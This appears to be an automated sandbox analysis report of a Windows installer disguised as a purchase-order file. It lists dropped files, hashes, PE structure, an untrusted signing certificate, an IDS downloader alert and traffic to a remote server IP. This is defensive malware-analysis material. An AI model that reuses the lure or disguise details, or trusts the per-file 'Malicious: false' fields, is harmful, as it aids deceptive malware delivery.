Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\sillinesses\Anglomans.ala

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	data
Category:	dropped
Size (bytes):	1850292
Entropy (8bit):	0.15787706683171052
Encrypted:	false
SSDEEP:	768:OoaZJLqGy5Qo+RU46dPn7e4O7QkhE/EtrgCN85RaQ7EMB+6r26REcybaHpJkCCXx:yHV
MD5:	F1B19352186CB57567C88C002F5AF9BD
SHA1:	96BB06DBF3E930E8174E22C552E788BF62F8792E
SHA-256:	9B172DB9C04C16B1C75AA5EEDFA5500FB4650BC59282BBCB5BB2D983C4B00406
SHA-512:	AF16686666C2B9CB40C67D79DDA844550ECEA72CD2537F1CEAC0A944799409B5C157ACDA2700327998EAC3FD07A94CB6FA0A3708C24E24403844C092AA1A7AA2
Malicious:	false
Reputation:	low
Preview:	...............................................................................................................................................................`.....................................................................................................................................................................................................................................................................................................................!...........................................................................................................................................................................................................................................................................................m...............................................................................Y......................................................................................................................................................................

C:\Users\user\AppData\Local\sillinesses\Chatons.Pur

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	98946
Entropy (8bit):	2.6636248398837403
Encrypted:	false
SSDEEP:	1536:8DeRh0t0aKxU6MwkA+F4+YxkQJffONLMyOMdR+znkFoWc1P:C69xfth0Q
MD5:	547559994604F940A9B620E2F77CE622
SHA1:	A88A27BAE97A5282AF86FF6E3D9F9EA141ED489E
SHA-256:	2F5A92758B28AA496A7C0209549FF33A2C09F94DFAD8F48CF615CB1ABE7EEA45
SHA-512:	9A84CC3905FA12A44B17D4AEC87EB5945A0DC0E7553A8FDDE0B9E43606DC461C33C94AAC371B5FC3FD17AF04FE542E42C3BDDE048C33ADAB2E9B41D157DC4CA8
Malicious:	false
Reputation:	low
Preview:	000000004A4A4A0000E40000000000D4D4D4D4D40000B20000000000B2004E002900B30000343434343434002C2C2C007100360000000000007E00313131310000007E7E7E00717100000000000000000000000000005900B8B80041000900EA0000BCBCBC00D9D9D90000BCBCBC00130000002727270000D7D700004E0000008D00750000AFAF002121000F0000C400E0E0E0003B0000001E0082005A000000FF000000002020001D1D000000006D00050500000000290000A9008300003600BFBF006900170000101000A3000079002700006A6A00DEDEDE00DC000C00C000004C4C4C4C00A80000D10000FCFC0000000057006E6E6E6E00E4001919009300AA0000FCFCFC009D9D9D000061616161007F7F003A3A3A005B000000B3B300C8C8C800A100F9001515006262000084003C00B400000000F80000E3E3002A00000E00009696960000000000DEDE00999900000018000000F9F9F9F9F90010000082828200009400D7D7D7D7D7D7D7002A0022220044444444000600000000000086868600003B3B3B0000C0C000000C0016000000444400C2000F0F00A40000000085000000000000390000555555000F0000000000007B7B7B7B7B7B7B0000007676000000B3000000004400717100090900878700020200FEFE00004A0000000061000000BA009300AD00A200C1000000000000

C:\Users\user\AppData\Local\sillinesses\Foiningly\allowanced.bri

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	data
Category:	dropped
Size (bytes):	3072070
Entropy (8bit):	0.1574149435101028
Encrypted:	false
SSDEEP:	768:GYkPCXTz5BZxw9NxlQnAyZSMNwxpqOKNcB5YdPpxk7r6s5WQxNUUlkwrvUcM0gg6:Ln/
MD5:	1A32E4C0027DC7FF10A50CA03C8A1DF9
SHA1:	D4C66E381A195EF0E71110645E35C02FA642614D
SHA-256:	323EDBC20508A0DB8FDB408E29A45ED0606E5366791CDA820E0ECD4C1A62B37E
SHA-512:	94D2B7A01C557AE2C079785DC8756BDFA5F4EDD4AADFA389D1D8877F94BC122B58AC13731B286FF262C7CA68FEEA5552E99AB5FCB414493FE3C1CB739F89B1BE
Malicious:	false
Reputation:	low
Preview:	......................................................................................................................................................................................L...............................................................................................................................................n..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................F..............................................................................................................................^...................................................................

C:\Users\user\AppData\Local\sillinesses\Foiningly\kartoteksstyring.gla

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	data
Category:	dropped
Size (bytes):	6157882
Entropy (8bit):	0.15896061425174612
Encrypted:	false
SSDEEP:	768:g7/K3a5vYm6xqf8FLfJI80SEtK8ccB6X76bD8kNTM5N1LshHe0X9Jk4BzFIpyTVI:w5wodUqLAH6
MD5:	45CD3902AC3254547F0E44C9A016B31B
SHA1:	4B9F8CDFD0A8FADE68C4C8EF6D6A1726A601A750
SHA-256:	FF0227B020CC3CC727C369F4E938722DC16E797EB2669C764DE823FC46992664
SHA-512:	8935B6547F93FAB6F5E4CA6A258B96AECD86E2785F8DACBAD1CB6C1A641289535A6593D5E0196A56E4E4E662B20279D369F3CA39D1571147A2A92EDD8C1E9DE3
Malicious:	false
Reputation:	low
Preview:	...................................................................................................t...............................................................................................................................................................................................................................................................................................................................................................KJ...................................................................Q...........................................................................................................................................z............................................Q..................................................................................................................................................\..........................................................q........................................................................................

C:\Users\user\AppData\Local\sillinesses\Foiningly\tubig.txt

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.294234517489459
Encrypted:	false
SSDEEP:	6:KGljJoxWTCrK0XuLmqarK5pCAyQvLoZ2kMXATrQvkt+fC3ba2AF/PXkSLAJRn:dlj+WTzJm1rKnCAyQvk2kWATrT5a2nNL
MD5:	231F388B44C110D6FDD16605BBE17E52
SHA1:	D2BEE1AAE2A003FD72A46FFDEDE1B5AB0BF89D86
SHA-256:	325DC82DFE4B64A6FE20E3824BBFE752C0156A6E4239A45AEA7BBC4F1751560D
SHA-512:	5AE947D4694D5824D4BB9F64FC5F747660C7C6993CD1B4D86D41587FD0A92BB65657C0F4855010F2E6F4BF7F1689BB2C95EC32D29FC78D2664F52ABB5ACE9081
Malicious:	false
Preview:	inchoant gowdnie medejernes inswarming salt svenaage aleksandrines forehearth..frdselslovs reformations flnseknivene.accentuationernes sudansk farfdrene nathold cryptological beskftige svrenes.naturata junket hjemfalde torskens.revelled puffed buffistens.muscularizes wankel autorhythmic liturgierne tuilles totalitarianisms asaron temperately..

C:\Users\user\AppData\Local\sillinesses\Senatsudvalgs.Ove

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	data
Category:	dropped
Size (bytes):	297180
Entropy (8bit):	7.566909397733076
Encrypted:	false
SSDEEP:	6144:P/Y7fQfN8/F0EYfqw0OfWKu4myakjWF94pmAE9zk:PgwNqo8VYJjWFPAK4
MD5:	C806F8FCA8273EBB885B9BDAA9DADE90
SHA1:	B03650911D10D0FDA8E577CD15B5A3EFADD8233A
SHA-256:	35D5EAC09638EF49B6F69B24C32822AA52AC6E09884F78A20E240F459D04C9CC
SHA-512:	123F661DB94B9DB4CF6C714190BBCE02CFEDC4F40B4811934E5219C9B04A067A0F66B8651EDA4F7C72F7F9BD91FA3F98BC45B42961180457D1EB244C20F31874
Malicious:	false
Preview:	.....aa.....................,,.......::::::..f.++....B...K.......pp.........((.../........jj.xxx........................c.--...........w......lll.(((.<.........................9...c.....~........k.................uuuuuuu..CC.....qq....8.........kkk.................I...........................g.PPP............N.......66....$.....c.........hhh....^.......yy.............................=====.................................O.............X....y....tt.....5............g.............44.........................}.........YYY..>>..........h.@@.ddd.....ooooo.........4."........................$.........X..................K...R.y.........................@............&&&................J.............................#..ii.......aa...........a.<..b..XXXXXXX....................................%..-......#..................\\...A..SSS....a..............jj..2./...............L...$$$...................\\.......\|..............................H..j.......00.......................T......k....9........[[[[.#.

C:\Users\user\AppData\Local\sillinesses\rygstdene\Befoulment209.non

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	data
Category:	dropped
Size (bytes):	1264154
Entropy (8bit):	0.15737251343733819
Encrypted:	false
SSDEEP:	768:Kz/OAFYCddplBJdxt7g7a6CgpChVGVUOgCwE6o5p5/wrS1jY:YTS
MD5:	5F2597B55457B6EA842E218E8D3B098D
SHA1:	0795BC493C7B065EF549AA73C4FE9E3384566E7A
SHA-256:	6E30C08BC1D4AD6E942130B8F9EFA770DC1812938298114ACC187DD436DB6006
SHA-512:	1DBE04D8CDD6E4881EFB1FA0619728E983EC3E14445D8A9E70796DFB55DA950C255CA30856F6D8B3BF79EC71B9284C07ECD7CD1662E5C9ED2C51B947C4A79FA0
Malicious:	false
Preview:	...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\sillinesses\rygstdene\Strutskrter.eri

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	data
Category:	dropped
Size (bytes):	1785286
Entropy (8bit):	0.157818699705013
Encrypted:	false
SSDEEP:	768:igjhkFxRk4Cg3EFcNweXS+wUya8d0Dclmrwtx9Rh0hruNz5S2L8HeM+MQ4Ee4EsK:gT
MD5:	E75D60F1347F2887587045D4F6673154
SHA1:	56930A609A1C67A591A557F7610ACFFCD89AB025
SHA-256:	CEDE7492DB5C81B0B046258187557EE9B2C6E791021631FF635409395ED6054A
SHA-512:	76060B17EB25286EE47558B72A5C034EF2D0D5EDBE8205F57628740900CB39F81953EC5A5C917CE84FD7ED5FDA6F03AC9C819B598D58B9D2AF12CFB3F5385830
Malicious:	false
Preview:	...........................................................................................g......................................................................................................................U......................................................................................................................................................................................................................................................................................................................2..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.952645372285464
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PO 0309494059506060609696007.exe
File size:	810'408 bytes
MD5:	0be2d87edbe429042bf5eb8791a40bfd
SHA1:	56d20ae6ba8bcbf137164efe5ebb846b5dabfb3e
SHA256:	447a4c0228f0f8c81f9159366e8cdda2af4a5603249f8bf6ceb6fe0d40f32b9a
SHA512:	1ec02570405763f1369131cb9405f90cc8ce27f771917462c6331e584e35ba93f2c9bbf0eeeddee5f679bd978525a0dda9d9fa5ecb4ca71f1ac2dc1d43d6c005
SSDEEP:	24576:Gvdzpz6Jwl+mHDoR94vmsgnqVNO7qg+E5cnF:kMwQmoRkYn6NAqDE5cnF
TLSH:	80052302B38D5243E971D27469224BB59FBC7D5838684B0377A83A0C7E3B356AD1FD62
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h.........

File Icon


Icon Hash:	ec92131fb7aba8f4

Static PE Info

General

Entrypoint:	0x40338f
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F2E [Sat Dec 15 22:24:46 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Unlimitableness, E=Forpremierer@Raastoftilfrsele.Dra, O=Unlimitableness, L=Singer, OU="Xcl Decayed Stykkerne ", S=Louisiana, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	13/07/2024 01:29:57 13/07/2025 01:29:57
Subject Chain	CN=Unlimitableness, E=Forpremierer@Raastoftilfrsele.Dra, O=Unlimitableness, L=Singer, OU="Xcl Decayed Stykkerne ", S=Louisiana, C=US
Version:	3
Thumbprint MD5:	3E362D04FCB3222E9760E41D19853C86
Thumbprint SHA-1:	581045A2F76450A95157425B0D26D9F38845E01D
Thumbprint SHA-256:	B1F8915EF64E3A009BE0DB9729A7A697D37BEAA4436A8EC77E09BAB3E8369E60
Serial:	741FA8AE4858C7F138070A71A541E67BE284EF1A

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [00434EECh], eax
je 00007FCA9CBCEA63h
push ebx
call 00007FCA9CBD1D15h
cmp eax, ebx
je 00007FCA9CBCEA59h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FCA9CBD1C8Fh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FCA9CBCEA3Ch
push 0000000Ah
call 00007FCA9CBD1CE8h
push 00000008h
call 00007FCA9CBD1CE1h
push 00000006h
mov dword ptr [00434EE4h], eax
call 00007FCA9CBD1CD5h
cmp eax, ebx
je 00007FCA9CBCEA61h
push 0000001Eh
call eax
test eax, eax
je 00007FCA9CBCEA59h
or byte ptr [00434EEFh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [00434FB8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0042B208h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8610	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x73000	0x7620	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xc4f08	0xea0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6627	0x6800	37029c3103747b9cc70c8ecd944a9b83	False	0.6643629807692307	data	6.451784672975888	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x14a2	0x1600	eecac1fed9cc6b447d50940d178404d8	False	0.4405184659090909	data	5.025178929113415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	939516377e7577b622eb1ffdc4b5db4a	False	0.517578125	data	4.03532418489749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x3e000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x73000	0x7620	0x7800	fa3a7dc11d759e32654dca4a134433ea	False	0.511328125	data	5.487917299032731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x73388	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4786307053941909
RT_ICON	0x75930	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5318949343339587
RT_ICON	0x769d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.5804904051172708
RT_ICON	0x77880	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5766393442622951
RT_ICON	0x78208	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.7026173285198556
RT_ICON	0x78ab0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672	English	United States	0.8035714285714286
RT_ICON	0x79178	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.6286127167630058
RT_ICON	0x796e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6037234042553191
RT_DIALOG	0x79b48	0xb8	data	English	United States	0.6467391304347826
RT_DIALOG	0x79c00	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x79d48	0x100	data	English	United States	0.5234375
RT_DIALOG	0x79e48	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x79f68	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x79fc8	0x76	data	English	United States	0.6440677966101694
RT_VERSION	0x7a040	0x34c	data	English	United States	0.4703791469194313
RT_MANIFEST	0x7a390	0x290	XML 1.0 document, ASCII text, with very long lines (656), with no line terminators	English	United States	0.5640243902439024

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T11:07:28.264137+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49752	84.38.133.48	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:07:26.913634062 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:27.033320904 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:27.033730030 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:27.033941984 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:27.153631926 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.264004946 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.264082909 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.264137030 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.264137030 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.264166117 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.264174938 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.264190912 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.264209986 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.264223099 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.264260054 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.340922117 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.340960979 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.340986013 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.341006994 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.341070890 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.341092110 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.341108084 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.341136932 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.341178894 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.383932114 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.383965969 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.384062052 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.384151936 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.388050079 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.388130903 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.456118107 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.456142902 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.456228018 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.458503008 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.458590031 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.458607912 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.458679914 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.467503071 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.467545033 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.467586040 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.467628956 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.475303888 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.475385904 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.475395918 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.475447893 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.483726978 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.483822107 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.483860970 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.483916044 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.492058039 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.492137909 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.532258034 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.532341003 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.532361984 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.532418013 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.536155939 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.536221027 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.536226034 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.536283970 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.543915987 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.543989897 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.544059992 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.544122934 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.551532030 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.551601887 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.551657915 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.551717043 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.559052944 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.559123993 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.559159040 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.559176922 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.566725016 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.566795111 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.566873074 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.566951990 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.576004982 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.576105118 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.647227049 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.647291899 CET	80	49752	84.38.133.48	192.168.2.4
